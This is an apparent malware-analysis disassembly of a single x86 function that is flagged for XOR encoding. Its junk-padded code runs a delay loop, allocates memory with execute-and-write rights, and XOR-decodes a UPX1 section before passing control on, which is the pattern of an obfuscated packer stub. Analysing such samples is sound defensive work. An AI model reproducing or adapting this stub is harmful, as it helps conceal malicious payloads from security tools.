Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xdbf0e50
sub ecx, 0xa674e77
mov eax, ecx
popal
sub ecx, eax
sub ecx, eax
mov ecx, 0
mov eax, ebx
not edi
sub edx, 0x53714ad6
mov esi, eax
mov edx, 0x42fb7e14
or edi, edx
dec edi
mov ebx, esi
not edx
or edi, edx
inc ecx
sub edi, 0xe6009ee8
and edi, edx
inc edx
cmp ecx, 0x1009f21
jne 0xa789c4
sub edx, 0x81e44c51
inc edi
add edx, 0x3e7bb09d
mov ecx, eax
not ecx
mov eax, 0xa78796
not esi
add edx, 1
mov ecx, 0xa7898a
sub edx, esi
inc esi
sub esi, ebx
mov edi, dword [eax]
add esi, 0xc1f6142b
mov edx, 0x81c4ccbc
and edi, 0xff
mov edx, 0x75021456
or esi, esi
xor dword [ecx], edi
mov ebx, 0x278f03bc
add esi, 1
sub edx, 1
inc ecx
dec edx
sub ebx, 0x79457c8
inc eax
sub edx, 0x2689e4fd
mov ebx, 0x6ce3ce4a
add esi, ebx
cmp ecx, entry0
jl 0xa78a1c
inc edx
add esi, esi
add ebx, 1
dec ebx
add esi, edx
add esi, 0xa5d8ebf6
sub esi, ecx
mov edx, 0xa7898e
sub esi, 1
mov ebx, 0xe9fc0723
and ecx, ebx
mov edx, dword [edx]
add esi, esi
add edi, ebx
inc ebx
mov edx, dword [edx]
sub ebx, 1
mov esi, 0xf9c4ce8d
not ebx
push edx
dec ebx
mov esi, 0x98373b46
mov edx, 0xa7898a
not ecx
and ebx, esi
mov edx, dword [edx]
or ecx, ebx
sub esi, edi
mov edx, dword [edx]
mov ecx, 0x4e66b9ea
mov esi, ecx
push 0xa78992
inc ecx
not ebx
sub ebx, 0x694fa817
call edx
or ebx, ebx
sub ecx, 0x96ccda6d
pop edx
dec ebx
and edi, ebx
push 0xa7899f
or ebx, esi
sub edi, esi
sub esp, 4
mov dword [esp], eax
and edi, edi
inc ecx
or ebx, ecx
call edx
add ebx, 0xe6d2f277
inc ebx
push 0x40
not ebx
or ebx, edi
push 0x3000
add ecx, ebx
and edi, ecx
sub esp, 4
mov dword [esp], 0x200007a6
mov ecx, 0xa6dea063
mov ecx, ebx
sub ecx, ebx
push 0
add esi, 0x581eff41
sub ecx, edi
call eax
add edi, 1
not edi
add eax, 0x20000715
mov ebx, 0x7648298f
mov esi, 0x731fa62
inc ecx
mov edx, 0xac49d17e
and ebx, edi
and ebx, edi
mov dword [eax], edx
add ebx, 0x6de0ce1e
dec edi
or edi, ebx
mov edx, dword [eax]
sub esi, edi
add ecx, ebx
sub esi, ebx
cmp edx, 0xac49d17e
je 0xa78b77
mov ecx, 0
mov dword [ecx], edx
mov esi, edi
add esi, 0x8c545338
not ebx
not ecx
and edi, edi
sub ebx, 0x5b910c1a
and eax, eax
sub eax, ecx
mov edi, section.UPX1
add ecx, 1
dec eax
mov edx, 0xa78795
mov ecx, eax
mov ecx, eax
mov ebx, 0
not ecx
not eax
mov esi, 0xa78796
dec eax
add eax, ecx
lea esi, [esi + ebx]
mov eax, ecx
and ecx, eax
mov esi, dword [esi]
dec ecx
or eax, eax
and esi, 0xff
not ecx
add eax, 0x1a22dd16
inc ebx
and ecx, ecx
sub eax, 0xd318d7e8
cmp ebx, 0x1f4
jne 0xa78be5
mov ebx, 0
add ecx, 0xfa606328
and eax, eax
add eax, 0xb8fd6f8d
mov ecx, 0x9edfaa5f
add ecx, 1
xor dword [edi], esi
add eax, 0x2a7d68ec
add eax, ecx
add edi, 2
mov eax, ecx
or ecx, ecx
and eax, eax
cmp edi, edx
jl 0xa78bad
mov eax, 0x97ad2aac
sub eax, ecx
inc eax
sub eax, ecx
add ecx, eax
mov ebx, section.UPX1
add edx, 1
add edx, edx
mov edi, section.UPX1
add ecx, 0xa05f1d9f
or edx, ecx
add ecx, ecx
mov esi, 0xa78795
and ecx, ecx
not ecx
mov eax, 0
inc edx
add edx, 0xf7cb94b2
sub edx, 0x7cc760ad
mov al, byte [edi]
dec edx
sub ecx, 0xc9eb9c6a
or edx, edx
mov byte [ebx], al
mov ecx, edx
or ecx, ecx
mov ecx, edx
add ebx, 1
dec edx
dec ecx
or edx, edx
add edi, 2
add ecx, ecx
inc ecx
add edx, edx
cmp edi, esi
jle 0xa78c5f
or edx, edx
add ecx, 1
mov ecx, 0x1f243198
mov eax, 0x38d1d06a
sub eax, 0x5612fec3
push 0x8dc6a0
mov ecx, 0x978c27ec
sub eax, 0xa9551edd
mov ecx, eax
ret